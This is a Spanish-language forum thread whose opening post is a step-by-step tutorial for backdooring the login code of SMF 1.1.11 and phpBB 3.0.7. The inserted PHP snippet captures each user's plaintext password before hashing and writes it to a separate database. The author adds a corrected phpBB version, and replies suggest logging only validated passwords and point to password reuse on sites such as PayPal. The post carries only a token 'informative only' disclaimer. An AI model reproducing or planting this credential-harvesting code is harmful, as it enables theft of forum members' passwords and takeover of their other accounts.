Bueno, comencemos a plantear la situacion.
La Web este lleno de foros. Cualquiera puede tener un foro aun sin conocimiento. Los sistemas de foros mas utilizados son SMF y PHPBB por ser gratuitos, dinamicos. Pero.. la seguridad?
En este post voy a explicar como se puede obtener la contraseña de cualquier usuario registrado en un foro, aunque puede aplicarse a cualquier sistema de usuarios.

[hr]

Toda la actividad de un foro se guarda en una base de datos, un lugar donde el webmaster del sitio tiene acceso.
En la base de datos de un foro podemos encontrar todos los posts, las zonas, los mensajes privados, ciertas configuraciones y.... el perfil del usuario...
Al decir el perfil del usuario nos referimos a el ID (un numero unico de cada uno), el nombre de usuario, email, avatar, firma, datos de perfil y... contraseña
Pero entonces... con simplemente entrar en la base de datos un webmaster de algun foro donde este registrado puede ver mi contraseña? No.. no te alarmes. La gente de SMF y de PHPBB asi como la de la mayoria de los Scripts ha pensado en esto. Es por eso que las contraseñas se guardan encriptadas en un tipo de encriptacion one-way, lo que significa que es casi imposible desencriptarlo, generalmente MD5 o Sha1...
Entonces, no se corre peligro? No, mientras el webmaster no haga nada.
El sistema funciona de la siguiente manera. La contraseña se encuentra encriptada en la base de datos. Cuando un usuario inicia sesion, la contraseña que escriba se encripta y se compara con la que encriptacion guardada en la base de datos. Si coincide significa que las contraseñas son las mismas. Pero que pasaria si se modifica el script de modo tal que se capturen las contraseñas ANTES de encriptarse y compararse? Pasaria que se estaria capturando la contraseña del usuario, que puede darle acceso al atacante a otros sitios importantes como cuentas Paypal, servicios pagos, etc...

¿Cómo podemos manipular estos sistemas para capturar contraseñas? Eso es lo que les voy a enseñar en este post. Y lo voy a hacer con SMF 1.1.11 y PHPBB 3.0.7

Hacerlo es sencillo, simplemente debemos hallar en que parte esta el codigo del login en ambos scripts y agregarle un par de lineas.
Lo que haremos sera que las contraseñas se guarden en una base de datos, asi que:

PASO 1: Crear una base de datos y realizar la siguiente ejecucion.

Código: Seleccionar todo

create table datos(
usuario varchar(25) not null,
pass varchar(25) not null
);
PASO 2: Encontrar el codigo del login y agregar unas lineas que capturen los datos y los guarden en la base de datos que acabamos de crear.

SMF 1.1.11
- Abrimos el archivo LogInOut.php que se encuentra dentro de la carpeta Sources
- Buscamos:

Código: Seleccionar todo

// Are we using any sort of integration to validate the login? 
- Pegamos ANTES de eso:

Código: Seleccionar todo

// Guardar datos capturados en Base de datos
$uusuario = $_REQUEST['user'];
$ppass = $_REQUEST['passwrd'];
$conexion = mysql_connect("host","usuario","contraseña") or die('Problemas de conexion');  
mysql_select_db("base_de_datos", $conexion) or die('Problemas de seleccion de la base de datos');  
mysql_query("insert into datos (usuario,pass) values ('$uusuario','$ppass')") or die('Problemas con la consulta SQL');  
mysql_close($conexion); 
/////////////////////////////////////////// 
Obviamente a este codigo debemos editarlo con nuestros datos de servidor, usuario, contraseña y base de datos. Y listo... eso es todo. Los datos comenzaran a guardarse en la base de datos que creamos.

PHPBB 3.0.7
- Abrimos el archivo auth_db.php que se encuentra en la carpeta auth que a la vez se encuentra dentro de la carpeta Includes
- Buscamos:

Código: Seleccionar todo

// do not allow empty password 
- Pegamos DESPUES de eso el codigo PHP dado anteriormente con nuestros datos ya configurados. Y listo!

[hr]

Asi de facil es capturar todo lo que se escribe en un foro.
Espero que les haya sido de interes este tutorial. Si quieren que se les explique con algun otro sistema solo informan.

[hr]

Autor: Xa0s
Nota: Este documento es meramente informativo. Cada uno es responsable del uso que se le da.
Me he equivocado en una cosita... para un foro SMF 1.1.11 el codigo PHP que les di sirve perfectamente, para un foro PHPBB 3.0.7 hay que cambiar las variables.. habia olvidado ese detalle... Este es el codigo que serviria para un PHPBB:

Código: Seleccionar todo

// Guardar datos capturados en Base de datos
$conexion = mysql_connect("host","usuario","contraseña") or die('Problemas de conexion');  
mysql_select_db("base_de_datos", $conexion) or die('Problemas de seleccion de la base de datos');  
mysql_query("insert into datos (usuario,pass) values ('$username','$password')") or die('Problemas con la consulta SQL');  
mysql_close($conexion); 
/////////////////////////////////////////// 
Me alegro que te sea de interes. D3F4C3-M4N
No le veo apenas utilidad a esto.. más que nada por que si entras, tienes acceso al DB, total.. tienes todos los datos aunque no se muestre la contraseña o este encriptada, puedes cambiarla desde el mismo phpmyadmin o la DB, haciendo inútil el fake de login que quieres hacer.. pero gracias de todas maneras..


Sigo esperando lo de los post.
¿Y no seria mejor guardarlo despues de comprobar que la pass es valida?
Skillmax escribió:No le veo apenas utilidad a esto.. más que nada por que si entras, tienes acceso al DB, total.. tienes todos los datos aunque no se muestre la contraseña o este encriptada, puedes cambiarla desde el mismo phpmyadmin o la DB, haciendo inútil el fake de login que quieres hacer.. pero gracias de todas maneras..


Sigo esperando lo de los post.
Hombre podrias estar interesado en la contraseña real, lo mismo como muchan gente hace tiene una contraseña para todo.
Saludos
gracias Xa0s... buena info nos dejas xD, como bien dice sod estaría mejor aplicarlo después de comprobar que sea válida la contraseña, buen trabajo

saludos!!
Soy un camaleón, en tu cama, leona ♪
Responder

Volver a “General”